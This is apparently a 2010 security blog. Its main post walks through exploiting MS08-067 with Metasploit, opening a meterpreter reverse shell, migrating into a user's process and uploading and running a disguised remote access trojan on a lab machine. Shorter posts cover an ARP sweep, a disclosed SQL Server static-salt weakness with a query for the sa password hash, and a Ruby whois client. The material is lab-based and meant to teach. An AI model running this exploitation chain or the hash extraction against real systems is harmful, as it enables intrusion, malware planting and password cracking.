25 March 2010

Even When You Know You're Pwnd, It's Hard To See

I'm playing around with a RAT showdown for a project I'm working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of Immunity Inc's Hydrogen).

While doing this, it really hit home how tough it is to tell a host has been owned if it's being done right.

I know this anyway, having been on the incident response side of things for a number of years, so it's not news really. It's just that every now and then something springs back up from memory and smacks you clear across the face and screams "Oh Yeah!" in a Randy "Macho Man" Savage impression. This was one of those moments for me.

Let me give an example. I'll do that, by combining it with a "how to use the metasploit framework to upload binaries" overview first.

So, step 1 is: get MSF3, and run the msfconsole. I'm going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.

First, set the payload:

 msf > setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp


Now pick everyone's favorite exploit: ms08_067_netapi
 msf > use exploit/windows/smb/ms08_067_netapi 


Let's take a look at the options:
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 10.0.1.51 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic Targeting


Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)
Now I pick the target I'll be exploiting, and set it with the RHOST option:

msf exploit(ms08_067_netapi) > set RHOST 10.0.1.71
RHOST => 10.0.1.71


Once that's all set, I can exploit the host:
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.0.1.51:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.0.1.51:4444 -> 10.0.1.71:1082)


BAM! I have a meterpreter session (ms08_067 isn't called 'old faithful' for nothing.)

OK. Pentest done. Next B0x!

Unfortunately, that's too often the case. This is sad really, because there's so much more I can do with this. Like the following ;-)

Let me start by finding out some information about the session, what privs I have on the host, and what process I'm running under:

 meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > getpid
Current pid: 1108

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
632 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
680 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
704 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
748 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
764 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
940 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
988 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1184 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1280 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1448 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1704 explorer.exe x86 0 VIKTIM2\viktim C:\WINDOWS\Explorer.EXE
1860 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
352 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
832 mqtgsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqtgsvc.exe
768 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
4032 sqlservr.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
4052 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
4044 dllhost.exe x86 0 VIKTIM2\IWAM_VIKTIM2 C:\WINDOWS\system32\dllhost.exe
3692 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3896 IEXPLORE.EXE x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Internet Explorer\IEXPLORE.EXE


Pretty cool. As expected, I'm running as the local system, and have attached to the svchost.exe process (pid# 1108).

If I look at the current working directory for the session, I see it's the Windows system32 directory:
meterpreter > pwd
C:\WINDOWS\system32


That's all very cool, but for this example, I want to interact with a user session.
Looking at the process list, I see that there's a 'viktim' user logged in and that user is running explorer.exe in process 1704.

I'm going to try to switch to that process, using the handy migrate function provided by metasploit:

meterpreter > migrate 1704
[*] Migrating to 1704...
[*] Migration completed successfully.

meterpreter > getuid
Server username: VIKTIM2\viktim


Excellent. I've now switched to a process running in the context of my target user.
Let me take a look at what my current directory is now:

meterpreter > pwd
C:\Documents and Settings\viktim


What I want to do now is to upload my malware to the host.
In this case, I'll be uploading a remote access trojan I built using sharK.
I've named the executable msdce32.exe in a sad attempt to be sneaky ;-)
To upload the file to the victim host, I use the upload function in meterpreter:

 meterpreter > upload msdce32.exe
[*] uploading : msdce32.exe -> msdce32.exe
[*] uploaded : msdce32.exe -> msdce32.exe


Looks like the file upload was successful, so I try running it using the execute command.
This command takes a -f parameter with the filename to execute:

meterpreter > execute -f msdce32.exe
Process 292 created.


Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here's a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):




Since I'm done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:

meterpreter > getsystem
...got system (via technique 1).


Since I'm back at system, let me see if I can see my trojan running:

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
632 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
680 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
704 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
748 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
764 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
940 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
988 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1184 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1280 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1448 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1704 explorer.exe x86 0 VIKTIM2\viktim C:\WINDOWS\Explorer.EXE
1860 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
352 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
832 mqtgsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqtgsvc.exe
768 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
4032 sqlservr.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
4052 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
4044 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3692 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3896 IEXPLORE.EXE x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Internet Explorer\IEXPLORE.EXE
2988 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
916 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
3448 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe


Hmm.. Nothing really stands out.
For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
632 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
680 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
704 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
748 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
764 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
940 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
988 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1184 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1280 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1448 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1704 explorer.exe x86 0 VIKTIM2\viktim C:\WINDOWS\Explorer.EXE
1860 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
352 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
832 mqtgsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqtgsvc.exe
768 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
4032 sqlservr.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
4052 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
4044 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3692 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3896 IEXPLORE.EXE x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Internet Explorer\IEXPLORE.EXE
2988 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
3364 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe


If you can't see a difference between the 'infected' and 'not infected' states, it's because there's not much of one.
Here's the output from running the 'diff' command on the process tables:

 $ diff running notrunning
32,33c32
< 916 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
< 3448 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe
---
> 3364 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe


As you can see, it's pretty tough to tell that this host is compromised just based on that.

You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.

Like I said, this wasn't really something I just figured out, it was just a very nice, clearly defined example of it.

04 March 2010

Finding Live Hosts on the Local Network Segment Using Metasploit

I've been learning ruby of late, and one way I'm doing that is by tearing into Metasploit. This has a few nice benefits for me:

* I get to see real code, written by smart people
* I get to learn metasploit a lot better
* I get to figure out how to write my own modules for metasploit

Since I've got a couple of arp flood/sweep scripts I've written in both perl and python, I figured that'd be a decent place to start.

It turns out that metasploit has a module already to do this (arp_sweep.rb), so I started out by taking a look at it. At first, I thought it didn't do an active sweep, because it appeared to operate on a pcap file only. I tweeted a question to #metasploit about that, and was quickly informed by @hdmoore that the module does indeed work on the target network, I just needed to set the INTERFACE option.

At that point I realized I should probably stop relying on just the code, and start poking at things from within the console =)

First thing's first, the arp_sweep module relies on pcaprub. Because I'm using Ubuntu 9.10 (Karmic Koala) vs. something like Backtrack, this module was not already configured. I found a great post over at darkoperator.com which explained, among other things, how to get this working. Here are the steps I took:

From inside my metasploit svn trunk directory (~/src/svn/metasploit/framework3/trunk in my case), I ran the following:
   $ cd external/pcaprub
$ ruby extconf.rb && make
$ sudo make install


Note that you need to have the libpcap-dev package in order for the compile of pcaprub to work.

Once I had that done, I returned to the main trunk directory, and ran msfconsole as root (that last bit is important, the arp sweep must be run as root in linux as far as I can tell, due to the fact that the module puts the interface into promiscuous mode to capture the ARP replies):

root:~/msf# ./msfconsole 

o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 528 exploits - 248 auxiliary
+ -- --=[ 196 payloads - 23 encoders - 8 nops
=[ svn r8703 updated today (2010.03.03)


The next thing that happens when I load msfconsole is that a bunch of stuff I have set in my msfconsole.rc gets loaded. If you want more information on what that means, Mubix has a great introduction to metasploit rc files at his practical exploitation site. Here's what it looks like:

resource (/root/.msf3/msfconsole.rc)> color false
resource (/root/.msf3/msfconsole.rc)> setg RHOSTS 10.0.1.0/24
RHOSTS => 10.0.1.0/24
resource (/root/.msf3/msfconsole.rc)> setg RHOST 10.0.1.75
RHOST => 10.0.1.75
resource (/root/.msf3/msfconsole.rc)> setg LHOST 10.0.1.51
LHOST => 10.0.1.51


The LHOST setting reflects the IP address of my testing host, the RHOST setting is a victim host I have on my network specifically to attack, and the RHOSTS is my lab network. The color false is there for a few reasons, one of them being that I like transparent term windows and color text sometimes doesn't play well with that.

The next step is to load the arp_sweep module and check out what options it takes. The module is in the auxiliary tree within metasploit, and can be loaded like so:

msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
RHOSTS 10.0.1.0/24 yes The target address range or CIDR identifier
SHOST yes Source IP Address
SMAC yes Source MAC Address
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The number of seconds to wait for new data


You can see here some of the effects of the resource file that was loaded earlier, the RHOSTS option is already set for me. I need to set a couple of other things though to make this work, like the source IP address and MAC, as well as the aforementioned INTERFACE setting:

msf auxiliary(arp_sweep) > set SHOST 10.0.1.51
SHOST => 10.0.1.51
msf auxiliary(arp_sweep) > set INTERFACE wlan0
INTERFACE => wlan0


To set the SMAC option, I need to find the MAC address of my network adapter. Because I'm using wireless for my testing, I need to grab that information from the wlan0 interface. Fortunately, ifconfig provides this information. Even more fortunately, metasploit allows system commands to be run from within the console, so I can get this quite easily. :
msf auxiliary(arp_sweep) > ifconfig wlan0
[*] exec: ifconfig wlan0

wlan0 Link encap:Ethernet HWaddr 00:1b:77:df:e9:ae
inet addr:10.0.1.51 Bcast:10.0.1.255 Mask:255.255.255.0
inet6 addr: fe80::21b:77ff:fedf:e9ae/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:8229414 errors:0 dropped:0 overruns:0 frame:0
TX packets:12543574 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2582588276 (2.5 GB) TX bytes:797473527 (797.4 MB)


Now that I have the MAC address (it's presented in the HWaddr string above), I can set the last option:

msf auxiliary(arp_sweep) > set SMAC 00:1b:77:df:e9:ae
SMAC => 00:1b:77:df:e9:ae


One more thing to change; I like to increase the thread count to keep things moving quickly:
msf auxiliary(arp_sweep) > set THREADS 20
THREADS => 20


Now I run show options once more to make sure the changes I made look right:
msf auxiliary(arp_sweep) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE wlan0 no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
RHOSTS 10.0.1.0/24 yes The target address range or CIDR identifier
SHOST 10.0.1.51 yes Source IP Address
SMAC 00:1b:77:df:e9:ae yes Source MAC Address
THREADS 20 yes The number of concurrent threads
TIMEOUT 500 yes The number of seconds to wait for new data


And then I can run the module:
msf auxiliary(arp_sweep) > run

[*] 10.0.1.1 appears to be up.
[*] 10.0.1.2 appears to be up.
[*] 10.0.1.5 appears to be up.
[*] 10.0.1.18 appears to be up.
[*] 10.0.1.49 appears to be up.
[*] 10.0.1.50 appears to be up.
[*] 10.0.1.75 appears to be up.
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed


Excellent! I got a nice list of live hosts on the local network segement using ARP.

I'll talk about why this is useful (over something like tcp portscanning the local network) in a blog post soon.

[edit]
I should mention by the way: if you wanted to do this outside of metasploit, you could do something like the following:

$ for i in `seq 0 254`; do sudo arping -I wlan0 -c1 -f 10.0.1.$i; done |grep Unicast


The results aren't nearly as pretty (nor are they as quickly gotten):
Unicast reply from 10.0.1.1 [00:0E:08:ED:A8:B1]  2.028ms
Unicast reply from 10.0.1.2 [00:15:62:FF:D6:06] 1.248ms
Unicast reply from 10.0.1.5 [00:20:00:38:20:6C] 2.548ms
Unicast reply from 10.0.1.18 [00:1D:73:A4:0A:AD] 1.182ms
Unicast reply from 10.0.1.49 [00:1F:3C:CD:50:1C] 1.652ms
Unicast reply from 10.0.1.50 [00:21:97:47:6C:80] 1.766ms
Unicast reply from 10.0.1.75 [00:02:55:42:08:0D] 1.203ms

02 March 2010

SQL Server 2005 (and 2008) Static Salt

While performing a database security review for a client, I noticed that the password hashes for the 'sa' user in the master.sys.sql_logins table all had the same salt. This was true on 4 separate SQL server instances across 4 different hosts.

Naturally, this piqued my curiousity, so I proceeded to investigate on as many SQL Server 2005 instances as I could get my hands on, and found that the salt was the same across the board.

To expound a bit:
If you run the following SQL statement:
SELECT password_hash FROM master.sys.sql_logins WHERE name = 'sa'

the whole password hash looks something like this:
0x01004086CEB6A06CF5E90B58D455C6795DFCE73A9C9570B31F21


The way that value breaks down is like so:
0x         : this is a hex value (the column is of type varbinary)
0100 : "throw away" constant bytes
4086CEB6 : the hash salt

the remainder of the value is the hashed password value.

Since we're only interested in bytes 3 - 6, we can use the SQL SUBSTRING() function to pull the part we care about like so:
  SELECT SUBSTRING(password_hash,3,4) AS sa_hash_bytes
FROM master.sys.sql_logins WHERE name = 'sa';


On each SQL Server instance I tested, the salt was the same
(0x4086CEB6)

This was true across Service Packs, and differing versions of both the DBMS platform as well as OS.

Here's the output from 'SELECT @@version' on my test instances (minus the date and copyright):
Microsoft SQL Server 2005 - 9.00.4053.00 (Intel X86)
Express Edition on Windows NT 6.0 (Build 6001: Service Pack 1)

Microsoft SQL Server 2005 - 9.00.4053.00 (Intel X86)
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)

Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)


I did some checking to see if this was a known issue, and was unable to find either an article/post describing this, nor an individual in the industry that had heard about it.

While this isn't a "sexy" BoF or anything, it does leaves SQL server administrative passwords open to password cracking (eg. by using a precomputed table of SHA1 hashes using the static known salt, one can dramatically decrease the time it takes to crack an sa user password...on any SQL Server 2005 or 2008 instance.) Additionally, once a password has been acquired, it may be possible to use that same password in other locations on a network if the administrators use a common password (or a common OS image for servers...).

The real risk this poses is fairly minor, since by default in the affected SQL Server versions normal users lack access to the column containing the password hash. However, there are a great deal of applications out there which use privileged accounts to access the database back end they use; and there are an even greater number of applications which contain SQL Injection vulnerabilities. In my mind, there's likely to be a fair amount of overlap in those 2 vectors, which would then leave a system potentially exposed to exploitation through this method.

Accordingly I decided to contact Microsoft. (I'll leave discussion about Full Disclosure for some other post) I have to say, it was pretty decent working with the MSRC, they were quite competent and very forthcoming. Whatever else can be said about Microsoft, it's clear that they have come a long way in dealing with vulnerabilities, which I am very happy to report.

The end result of all this is a Microsoft KB Article that explains more about the issue, along with some workarounds. According to that article, this will be fixed in SQL Server service packs at some point.

For those that are curious, the entire process took less than 3 months (I first reported the issue to Microsoft on December 11, 2009.) In my opinion, that's an acceptable time frame for a large company to address what is an admittedly minor security issue, particularly given the fact that there are a number of major (and minor) holidays which take place in that time span.

01 March 2010

playing with ruby

i started playing around with ruby recently.
one of the first things i figured i'd do is muck about with sockets.
it turns out that's brain dead easy with ruby, which i was happy to discover.
here's a quick and dirty whois client i whipped up as a way to learn the syntax etc.

require "socket"

rr = Array.new
whoisrv = "whois.arin.net"
port = "43"
qry = "208.105.198.137"

s = TCPSocket.open(whoisrv, port)
s.puts(qry)
while rr = s.gets
puts rr
end
s.close